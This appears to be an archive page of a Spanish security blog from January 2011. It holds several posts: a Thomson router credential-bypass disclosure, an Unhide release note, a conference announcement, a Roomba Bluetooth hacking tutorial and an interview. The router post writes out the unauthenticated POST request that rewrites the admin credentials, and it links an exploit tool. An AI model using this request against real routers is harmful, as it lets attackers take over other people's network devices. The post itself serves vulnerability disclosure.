20 enero 2011

Modificando credenciales en routers Thomson

En este artículo voy a comentar una situación curiosa que me ocurrió el otro día al configurar el router que me ha “regalado” ONO, un Thomson TCW710.

Cual fue mi sorpresa cuando, tras publicar un video en Twitter en el que mostraba el proceso, una persona me comentó que el problema ya había sido reportado para el modelo TCW690. Como podemos comprobar, en Thomson (y ¿ONO?) no se toman en serio los problemas de seguridad, y más este que permite obtener el control del router (y quitarselo a su dueño).

Al final del artículo se enlaza el código de la aplicación utilizada en el video. Además, añado el enlace a la publicación del fallo del modelo TCW690.

¡Comencemos!

Disclaimer:

No me hago responsable del mal uso que pueda darse a esta información o al código de la aplicación que la complementa.

Como todos sabemos, cuando intentas acceder a la configuración del router, te suele saltar la petición de credenciales, y en el caso de que no sean correctos, no puedes acceder. ¿Lógico no?

En el caso de los routers Thomson (voy a generalizar, pero entender que me refiero a esos dos modelos en concreto, no tengo conocimiento de ningún otro), ocurre una situación un tanto curiosa, y es que el sistema únicamente bloquea las peticiones GET, pudiendo seguir realizando POSTS sin ningún problema.

A pesar de que sea un problema importante (pues permite modificar la configuración del router sin necesidad de estar autenticado) es aun peor cuando se comprueba que el software del mismo no pide los credenciales actuales al ir a modificarlos (se entiende que si estas autenticado te la sabes, pero eso ya no es un argumento válido para no añadir una medida más de protección, y más si da la opción de acceder remotamente al panel de administración), por lo que podemos registrar los que queramos (o poner los de fábrica para levantar menos sospechas) y poder acceder mediante la interfaz web.

La petición POST a realizar para modificar los credenciales es:

http://192.168.0.1/goform/RgSecurity
HttpUserId=USER&Password=PASSWD&PasswordReEnter=PASSWD&RestoreFactoryNo=0x00

Una vez realizada la petición, ya podríamos acceder mediante la interfaz web.
En el caso de que quisieramos automatizar tareas y comenzar a realizar peticiones GET para obtener información, hay que añadir en la cabecera Authorization con valor Basic auth_en_b64.

El valor no es más que el usuario y contraseña separados por ‘:’ y codificados en base64. Un ejemplo (el utilizado en la aplicación para obtener la información del router) podría ser:

Petición: http://192.168.0.1/RgSwInfo.asp
Usuario: (vacio)
Contraseña: admin
Auth: :admin --> OmFkbWlu

GET http://192.168.0.1/RgSwInfo.asp
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
X-Behavioral-Ad-Opt-Out: 1
X-Do-Not-Track: 1
Authorization: Basic OmFkbWlu
Cache-Control: max-age=0

¡Hasta aquí todo! Ya para terminar…

Os enlazo el video que publiqué con todo el proceso:


Con respecto a la aplicación, la podéis descargar de aquí.

Su utilización es la siguiente:
(bypassThomson.jar) -h [ip_router] -u [user] -p [password] -info [opc.muestra_info_router]

El reporte del fallo en el Thomson TCW690 podéis encontrarlo aquí. Por lo que pone en la información del exploit, lo reportó un tal MurDoK.

Y vosotros, ¿conocéis FAILs de otros routers?

Artículo por Luis Delgado J.
Leer más...

19 enero 2011

Unhide 20110113 is out !

Calentita del horno sale la última versión de Unhide (20110113) ofrecida en primicia para SbD. Por si alguien anda despistado Unhide es una herramienta de análisis forense para sistemas Unix de la que hemos hablado aquí y aquí (por ejemplo)

En esta ocasión el lanzamiento de la última versión estable coincide con el lanzamiento en paralelo de su propio sitio web www.unhide-forensics.info

La novedad mas destacada es que Patrick Gouin, arquitecto senior en desarrollo de sistemas embebidos, se une al staff de forma estable, y de su mano han llegado bastantes de las novedades de esta versión.

Entre las novedades mas destacadas :
  • Mayor granularidad a la hora de ejecutar tests: Hasta ahora existían 'metatests' que estaban compuestos en algunos casos por múltiples tareas, en esta versión se pueden seleccionar específicamente que tests ejecutar (por ejemplo un test con una syscall determinada)
  • Añadido un nuevo e interesante test llamado 'reverse' para identificar sistemas en los que se haya comprometido /bin/ps para hacerle creer que existe un proceso en ejecución que realmente no lo esté
  • Ampliados los test sobre procfs añadiendo chdir / readdir
  • Posibilidad de volcar el resultado del scan a un fichero con la opción -f
  • Posibilidad de ejecutar un test específico (-r) para Kernels cuyo planificador no sea el estándar (error detectado en sistemas cuyo kernel era una versión 'pura' de kernel.org)
  • Mejor integración con rkhunter
Y muchas otras más que podréis ver reflejadas en la pagina man del proyecto.

Para descargar la última versión: www.unhide-forensics.info
Leer más...

18 enero 2011

Primer Congreso de seguridad e ingeniería web ADWYS CON '11.

Como ya comentamos anteriormente, este año repetimos en Cádiz, donde han abierto el registro y nos han hecho llegar una nota de prensa con la lista de ponentes final y las fechas.

Para asistir, han establecido los siguientes precios: Comunidad UCA 5€, Estudiantes 15€ y el resto de entradas 25€.

Formateo un poco la nota de prensa y os la dejo aquí:
-----
Hoy, día 12 de Enero de 2011, se abre oficialmente el plazo de inscripciones al primer congreso de seguridad e ingeniería web ADWYS CON '11.

Este congreso, enfocado a profesionales de las nuevas tecnologías, expertos en seguridad y estudiantes, surge para exponer las últimas novedades en seguridad informática e ingeniería web y formar de una manera práctica en los últimos avances, que se dan o se esperan dar, de las tecnologías pertenecientes a ambos sectores.

El evento tendrá lugar los días 23, 24 y 25 de Febrero de 2011 en las instalaciones de la Facultad de Filosofía y Letras y contará con numerosos ponentes que hablarán de temas relacionados con la seguridad y el desarrollo web. ADWYS CON '11 está siendo organizado por la recientemente galardonada en los premios Cádiz Joven Asociación de Diseño Web y Seguridad de la Universidad de Cádiz (ADWYS).

Los ponentes son reconocidos expertos en su área como: Martín Álvarez (responsable de la oficina del W3C en España), Jose Emilio Labra Gayo (Director de la escuela de ingeniería informática de la Universidad de Oviedo), Alejadro Ramos (Tiger Team Manager SIA y Editor de Security By Default) o Sergio de los Santos (Hispasec).

Para inscribirse sólo hay que rellenar el formulario de nuestra web en:http://adwys.es


Información:

Primer congreso de seguridad e ingeniería web (ADWYS CON '11)

  • Organiza: Asociación de Diseño Web y Seguridad de la Universidad de Cádiz (ADWYS).
  • Participa: Universidad de Cádiz.
  • Colabora: The Pilot Dog.
  • Lugar: Facultad de Filosofía y Letras de Cádiz.
  • Fecha: 23, 24 y 25 de Febrero de 2011
  • Ponentes:

  1. Vicente Aguilera - Director de OWASP en España
  2. Chema Alonso - Microsoft Security MVP, Informática64
  3. Martín Álvarez - Responsable oficina W3C España
  4. Jordi Collell - EyeOS Team
  5. Jose Emilio Labra Gayo - Director Escuela de Ingeniería Informática (Universidad de Oviedo)
  6. José Picó y David Pérez - Taddong S.L.
  7. Sergio de los Santos - Hispasec
  8. Alejandro Ramos - Tiger Team Manager SIA, Editor de Security By Default
  9. Pedro Sanchez - ATCA, ConexionInversa
  10. Niko - Creador de Cálico Electrónico
  11. Antonio D. Fernandez y Enrique J. Amodeo - ATSistemas
  12. Jesús Contreras - Director de Innovación en ISOCO

Más información e inscripciones: http://adwys.es
---

Leer más...

17 enero 2011

Hacking Roomba!

Para quien no lo conozca, Roomba es un modelo de las aspiradoras inteligentes de iRobot. Este tipo de dispositivos pretenden, a un coste bastante elevado, todo hay que decirlo, hacer la vida más cómoda al propietario, librándole de pasar la aspiradora manualmente.

No sé realmente si la razón de que estuviera detrás de una Roomba, era el mantener la casa limpia o el poder "meterle mano a la chacha" (en el buen sentido de la palabra, al ser un robot).

Así pues, y tras leer el libro "Hacking Roomba" (muchas gracias por el ejemplar a Raúl) me dije que esto, simplemente había que probarlo y si no, a las malas, tendría la casa más limpia.

Así pues encargué el modelo 555, que permite programación manual utilizando una botonera en el propio aparato. Lo primero que pensé: "Esto lo programaré en remoto, sin agacharme!"

El objetivo principal era poder decirle a la Roomba: "Ponte a aspirar AHORA" o "Vete a tu base de carga YA!", desde el servidor de casa, controlando vía cron o de forma manual esas operaciones a voluntad.

Así pues, para hacer frente al problema se me pasaron por la cabeza varias opciones. Existe un mando a distancia por Radiofrecuencia que permite ejecutar las mismas operaciones desde cualquier parte de la casa, en la que tengas el mando. Sin embargo, no es compatible más que con el modelo superior: el 581. La siguiente alternativa era utilizar un mando a distancia compatible con todas las roombas. En este caso, funciona mediante Infrarrojos. por lo que podría hacer un cable al puerto serie con un diodo IR y mediante LIRC, grabar la ejecución de cada operación y reproducirla después. Sin embargo, para poder controlar la roomba en toda su inmensidad, la opción más interesante, potente y versátil era utilizar un interfaz bluetooth.

Para los que como yo, no seais muy manitas con el soldador y  los cables, en Sparkfun, venden interfaces bluetooth ya hechos, llamados Rootooth que son "más o menos" plug & play….

Para meterle mano a la Roomba via Bluetooth, esto es lo que debéis hacer:

  1. Enchufar el dispositivo bluetooth a la Roomba. Consejo: sujetad con cinta aislante el cable y el conector, porque dado el movimiento de la roomba, puede sufrir daños. Al principio lo tenía como la foto que se puede ver en el avatar del post.
  2. En mi caso he utilizado Linux con un adaptador Bluetooth para poder conectarnos al Rootooth.  Mediante hcitool buscamos el nuevo dispositivo Bluetooth y nos apuntamos la MAC.
[root@Carmen ~]#  hcitool scan 
Scanning ...
    00:06:66:ZZ:XX:YY    FireFly-XXYY

3.-) Probamos a establecer una conexión mediante "rfcomm" que, una vez hecha la conexión, nos dejará un puerto en /dev/rfcommN al cuál podremos hablar como si de un puerto serie se tratara.

[root@Carmen ~]# rfcomm connect 2 00:06:66:ZZ:XX:YY
Connected /dev/rfcomm2 to 00:06:66:ZZ:XX:YY on channel 1
Press CTRL-C for hangup

4.-) Lo siguiente es comprobar que el modem que incluye Rootooth funciona correctamente a 115200 bps, para no tener errores en la comunicación. Para ello accedemos mediante "minicom" y comprobamos que todo está correcto:

Welcome to minicom 2.00.0


OPCIONES: History Buffer, F-key Macros, Search History Buffer, I18n
Compilado en Feb 21 2005, 19:32:30.


Presione CTRL-A Z para obtener ayuda sobre teclas especiales
                                                  
CMD                                               
?                                                 
***Settings***                                    
BTA=000666ZZXXYY                                  
BTName=FireFly-XXYY
Baudrt=115K
Parity=None
Mode  =Slav
Authen=0
Encryp=0
PinCod=1234
Bonded=0
Rem=NONE SET
END

Una vez que conecta, enviamos los caracteres "$$$"(3 símbolos del dólar, sin las comillas) para entrar en modo Comando al modem Bluetooth. Nos contestará con CMD si todo es correcto. Pulsando D y Enter, nos dará la info que se puede ver más arriba. Importante que esté a 115K, y Parity None. Si algo no está como debe, con la tecla H se accede a la ayuda y se configura para que quede así.
Una vez todo está correcto, pulsamos "---" (tres guiones seguidos, sin comillas) y devolverá END… Ya estamos fuera del modo command.

5.-) Después de probar diversos programas (RoombaCom, Roomba-tilt.pl, Roomba Status) rebuscando en Internet, que prometían controlar la Roomba en remoto, y ver que estaban todos obsoletos, decidí buscar documentación actualizada de la API de la Roomba para poder hablarle.

El documento actualizado para las especificaciones Open Interface de la serie 500 se puede descargar de aquí.

6.-) Manos a la obra… Bajo estas líneas pongo un script (por supuesto en Perl) que recibe como parámetro "clean" o "dock" y hacen que la roomba se ponga a limpiar o se ponga en modo Dock (o, ir a su base de carga)

Incluyo además el código necesario para que cada vez que lo ejecutemos, cree una conexión nueva contra Rootooth, no teniendo que mantener el rfcomm abierto todo el tiempo.

[root@Carmen tmp]# more /usr/local/bin/roomba.pl 
#!/usr/bin/perl

use IPC::Open2;

$port="/dev/rfcomm2"; #el puerto serie a crear. Importante que no esté siendo usado ya
my $param=lc ($ARGV[0]); #capturo parámetro introducido y lo paso a minúsculas
my $rfcomm="rfcomm connect 2 00:06:66:ZZ:XX:YY"; #comando rfcomm para crear puerto

my $value;

if ($param eq "clean")
{#Si la orden es limpiar
    $value=135;    
}
elsif ($param eq "dock")
{#Si la orden es ir a base
    $value=143;
}
else
{#El resto no está aceptado
    die "$0 [CLEAN|DOCK]\n"; 
}

my $pid=open2 (\*READ,\*WRITE,$rfcomm); #lanzamos por un lado la conexión

sleep (10); #Le damos 10 segundos para que se establezca

system("stty -F $port 115200 raw -parenb -parodd cs8 -hupcl -cstopb clocal"); #Parámetros necesarios para configuración del puerto
    
my $roomba;
open $roomba, "+>$port" or die "couldn't open port: $!"; #Abrimos conexión al puerto
select $roomba; $| =1;  #Eliminamos lo que hubiera en el buffer en la lectura
    
printf $roomba "%c",128;  sleep 0.3;                    # START Necesario cada vez que le demos una orden a Roomba
printf $roomba "%c",132;  sleep 1;                    # FULL Tomamos control completo sobre ella

printf $roomba "%c",$value;  sleep 1;                    # CLEAN OR DOCK  Ejecutamos lo ordenado

kill 9,$pid; #Matamos el proceso de rfcomm

exit (0); #bye bye

Pero claro, la idea (al menos la mía) es hacer un programa que dependiendo de un montón de factores como qué horario es aceptable para pasar la aspiradora, control de presencia en casa (si estoy en casa, no la pases,… no sabéis el ruido que mete!), etc, etc,… puede ser interesante obtener información sobre los sensores de la misma. En mi caso, me interesa saber: La capacidad máxima de la batería; el modo de carga (esperando, cargando, etc,..), la carga actual de la batería, la temperatura de la batería, y si está conectada al cargador correctamente o no (si está en su base de carga o está dando vueltas por ahí). Para ello, el código se puede ver bajo estas líneas. Importante: en este caso contamos con una conexión rfcomm ya hecha en otro terminal!

[root@Carmen tmp]# more roomba_sensors.pl 
#!/usr/bin/perl

$port="/dev/rfcomm2";  #el puerto serie a crear. Importante que no esté siendo usado ya

system("stty -F $port 115200 raw -parenb -parodd cs8 -hupcl -cstopb clocal");  #Parámetros necesarios para configuración del puerto
    
my $roomba;

open $roomba, "+>$port" or die "couldn't open port: $!";
select $roomba; $| =1;   #Eliminamos lo que hubiera en el buffer en la lectura
    
printf $roomba "%c",128;  sleep 1;                    # START Necesario cada vez que le demos una orden a Roomba


printf $roomba "%c%c%c%c%c%c%c",149,5,21,25,26,34,24;  sleep 1; # Roomba requiere el envío del opcode 149 + el número de sensorIDs a solicitar + cada sensorID

#Sin embargo, devuelve byte a byte. Con esto perdí muuuucho tiempo porque no lo ví documentado en ningún sitio!!!
for ($i=0; $i<7; $i++) 
{
    $k=getc($roomba);
    $ok=ord ($k);
    print STDOUT "$i $ok\n";
}

Al ejecutarlo vemos algo como:

----------
0 2
1 1
2 108
3 10
4 136
5 2
6 40
------

La primera columna es un contador, sin más y la segunda, el valor del byte devuelto por la Roomba.

Byte        Explicación


0       Estado de carga: 4 significa que está en Waiting (aunque la pongamos en su base, no cargará)
         y 2 es Full charge (que lo podemos poner a cargar)
1       Byte más significativo de carga actual de batería
2       Byte menos significativo de carga actual de batería
3       Byte más significativo de capacidad total de batería
4       Byte menos significativo de capacidad total de batería
5       Presencia de cargador (Fundamentalmente, si está la roomba en su base o no) Si el valor es 0 es
         que no (está por ahí limpiando) y 2 es que está en la base
6       Temperatura en grados celsius de la batería (Interesante por si queremos monitorizarlo)


Los bytes 1 y 2, así como el 3 y 4 indican la carga actual y la capacidad máxima de carga de la batería. El byte más significativo, en mi caso va de 0 a 10 y el menos significativo va de 0 a 255 (lógicamente es lo que cabe en un byte). Cuando se está descargando la batería, los bytes 1 y 2 van disminuyendo y al cargarse aumentando, hasta llegar a 10/136 que es la carga máxima de la batería.

Conclusiones

Roomba no sé si me hará la vida más fácil o no, pero me lo he pasado bomba sacándole las tripas e intentandole hablar y que me conteste. No he encontrado foros en España (o al menos en español) en los que se haga hacking de este tipo a Roomba. Lo más aproximado ha sido en los foros.zackyfiles.com en los que fundamentalmente, se hace hacking físico a los equipos para que aspiren mejor, y hacerles cierto tunning. Los que quieran ir más allá, pueden contar con este foro en inglés  en el que hay gente con estas mismas inquietudes y en el que abrí un hilo pidiendo ayuda en mis problemas de comunicación con mi Roomba.
Para aquellos que tengáis un cacharro de estos y queráis meterle mano, os animo desde aquí a ello. Si os ponéis y se os atasca la situación, contad conmigo para ayudaros en todo lo que sea posible!

Por cierto, que después de tanta confianza que tengo con la Roomba, le he preguntado cuál es su blog de seguridad y hacking favorito y... bueno en la foto siguiente podéis ver cuál fue su respuesta :D

Leer más...

16 enero 2011

Enlaces de la SECmana - 54


Leer más...

15 enero 2011

Wargame SbD I (segunda parte)

https://portal.securitybydefault.com/





Leer más...

14 enero 2011

Entrevista a David Hernández (aka Dabo)

Dabo es una persona modesta, desenfadada, simpática y con un potencial y ganas de compartir conocimientos como pocos. Personalmente di con él hace no mucho tiempo, pero recuerdo que por aquel entonces ya había leído material suyo, y es que, aunque no le conozcas, es probable que en algún momento hayas leído alguno de sus tutoriales que te ayudó a instalar esa maldita tarjeta X en X sistema, o aquel artículo tan interesante sobre alguna parte de las profundidades de Debian.

He conseguido robarle un poquito de su tiempo para entrevistarle, y aquí dejo unas líneas con él para que le conozcamos un poquito mejor.

- Bueno, antes de nada, ¿quién es Dabo? ¿Cómo te describirías en pocas palabras?

Apasionado de GNU/Linux en general y Debian en particular, los servidores web, inquieto, nadie para tomar como ejemplo, gran amigo de sus amigos y "especialista" en meter en líos en forma de comunidades o proyectos vía web a esos colegas para después, ser el único que injustamente suele salir en "los créditos". Sobre lo que hago en Internet, está todo resumido en davidhernandez.es.

- ¿Cuáles son tus inicios en la informática? ¿Y en la seguridad?

Soy del 71 y pasada la época de los Amstrad o Spectrum, me reenganché con un 286 y un Windows 3.1 con el que me divertía más pegándome con el sistema que usando aplicaciones. Empecé tarde con Windows 95 porque MSDOS perdía protagonismo en pro de la capa gráfica del sistema, en ese momento yo pensé que "perdía" control sobre él y cuando lo hice, ya empezaba a usar conjuntamente GNU/Linux, una Red Hat 3 que me costó un huevo instalar en el 486 DX2 que en ese momento tenía.

Con Windows me quedé en XP, luego usé Mac OS X junto a Debian durante unos 5 años para desde hace 2, salvo para actualizar el teléfono y lo que no puedo hacer fotográficamente hablando bajo GNU/Linux, uso únicamente Debian.

Mis inicios en la seguridad ya vienen casi desde el principio, pero "más en serio", se remontan a unos cuantos años atrás, no sabría decirte la fecha pero sí el motivo. Le hice a la hermana de mi novia de aquél entonces una comunidad privada (creo que en MSN), quienes tenían acceso eran chavales de 10 a unos 12 o 13 años. Un día me avisaron de que se veían fotos "raras" allí. Cuando accedí, la comunidad había sido comprometida, vi que había contenido pornográfico bastante fuerte.

Aprendí la lección, adopté una actitud positiva y ese día comprendí que para colgar algo en Internet donde podía comprometerse la seguridad de terceros, había que hacerlo con unas mínimas garantías y entender la responsabilidad que conlleva.

A partir de ese momento me esforcé por "comprender" y allí empezó mi curiosidad por las redes y como se comunicaban los equipos entre sí. Poco después, un gran amigo me encargó que le echase un vistazo a la configuración de la red de su empresa, esa fue mi primera "auditoría" (un término que me venía grande dados mis conocimientos en aquella época) mi sorpresa llegó a través de NetBios, me di cuenta de que desde la extranet de su empresa, se podía acceder a casi la totalidad de equipos de toda la subred a nivel nacional, conectaba a través de InfoVía.

Pero por si eso era poco, mi sorpresa fue mayúscula cuando comprobé que vía Telnet podía acceder a todo el sistema de facturación del AS400 que corría en red con un simple "user" (nombre del responsable de admon) y "password" su mismo nombre. Tuve una charla con varios puestos clave de la empresa y solventaron la situación. Hablamos del año 1998 si la memoria no me falla.

- En relación con la pregunta anterior, ¿cómo te formaste para este mundillo?

Todo comenzó con el inicio de Daboweb en el año 2002, desde su nacimiento fue una web con foro, allí quise compartir lo que iba aprendiendo con quien tuviese a bien participar sobre cuestiones de seguridad. Fue la época dorada de los foros, llena de descubrimientos y con algunos amigos que hoy en día son como de mi familia. Teníamos un subforo privado de hacking ético, de allí surgió en 2004 hackeando.com, que sigue online por cuestiones histórico-sentimentales.

Por motivos laborales nunca he podido estudiar en un aula nada relacionado con la informática, he aprendido mucho en los foros con las preguntas de los demás, muchos libros de esos que te cuesta digerir porque te falta una base sólida y quizás, con lo que más aprendí fue cuando hace unos 5 o 6 años, tomé la responsabilidad de alojar mis webs y administrar mi propio servidor dedicado.

- ¿Te dedicas profesionalmente a ello? ¿Algún área de especialización?

Salvo temas puntuales como freelance no. El área en la que me suelo mover es en la dedicada a la consultoria, administración, optimización y cuestiones de seguridad en servidores web. Todo ello dentro de apachectl.com, donde junto a dos grandes profesionales y amigos llevamos a cabo estas tareas.

- ¿Que software nunca falta en tu ordenador?

Lo esencial para mi es una instalación de Debian con KDE junto a alguna app de GNOME, luego bajo VirtualBox, una distro de BackTrack con las típicas herramientas que sueles necesitar. Aunque hay ciertas aplicaciones, las "clásicas" como Nmap, Hping, Netcat, OpenVas, etc, junto a alguna más moderna, no sé si te sonará esta, PenTBox -;P que prefiero ejecutar fuera de BackTrack.

- ¿Que personas te han impresionado en el mundo de la seguridad?

No queda nada original decir que Mitnick, pero es cierto que en mis comienzos, su historia y toda la mitología que le acompañó en los 90 me marcó. En la actualidad y sin falta de mirar fuera, el panorama nacional es tan potente que de veras, me quedarían muchos nombres en el tintero dada la gran calidad existente.

- ¿Has participado en Wargames, CTFs, ...? ¿Te mueves por esas zonas?

Sí, hace unos 5 o 6 años lo cierto es que me movía bastante por esos lares, ahora ya tengo bastantes "Wargames" de esos que no buscas como para meterme en otros -;). Además, claramente me faltaría nivel como para no quedar en algún "honroso" penúltimo puesto con tanto máquina que hay compitiendo.

- ¿Con qué disfrutas cuando no tienes un ordenador a mano?

Aquí no estaba mal añadir también o un "Smartphone" al lado ;D. Nada especial, con mis grandes amigos, mi novia, la fotografía, el ajedrez o una timba de poker sin pasta pero con mucho orgullo en las fichas del tapete. Iba a decir con un buen libro pero seguro que sería de contenido técnico. Lamentablemente cada vez leo menos novelas, antes de los chips de silicio era un gran devorador de libros.
Leer más...